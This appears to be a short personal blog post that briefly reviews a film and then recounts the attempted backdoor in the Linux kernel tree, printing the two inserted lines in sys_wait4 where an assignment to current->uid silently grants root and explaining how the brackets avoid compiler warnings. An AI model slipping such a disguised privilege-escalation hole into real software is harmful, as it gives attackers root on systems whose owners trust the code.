Fix Me: Add Title

Weekend Over :( !!!!!

Went to watch MRev this weekend and my comments- not bad.

The battle with machines was awesome though Belluci should have been given more frames, what a waste of assets and talent ;)

As you must be aware sometime back (guess in first week of Novemeber(arnd 5th)),

someone tried to insert a backdoor in the Linux tree hosted at Bitkeeper,

Just filtered out some details--

The file that was modified was

src/kernel/exit.c

Just two lines(yes, just two lines) were inserted into a call sys_wait4

asmlinkage long sys_wait4(pid_t pid,unsigned int * stat_addr, int options, struct rusage * ru)

the lines were

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

retval = -EINVAL;

So if you pass the value of options as __WCLONE or __WALL you are root J

Note the current->uid is being set to 0 not compared with 0 (current->uid == 0)

Also the whole thing is properly put in brackets so as to avoid any warnings etc.

The lines were added just before retval = -ECHILD near end of function.

Nice try…but thanks to Larry McVoy, everything got noticed..

But as Linus said, it was tough for these changes to go un-noticed coz when you add something (which linus keeps doin) to the tree the system will report the changes in the targetset .

--Vatsal

"Nothing lasts forever - so why not destroy it now?"
- Quake

3,330 views 0 replies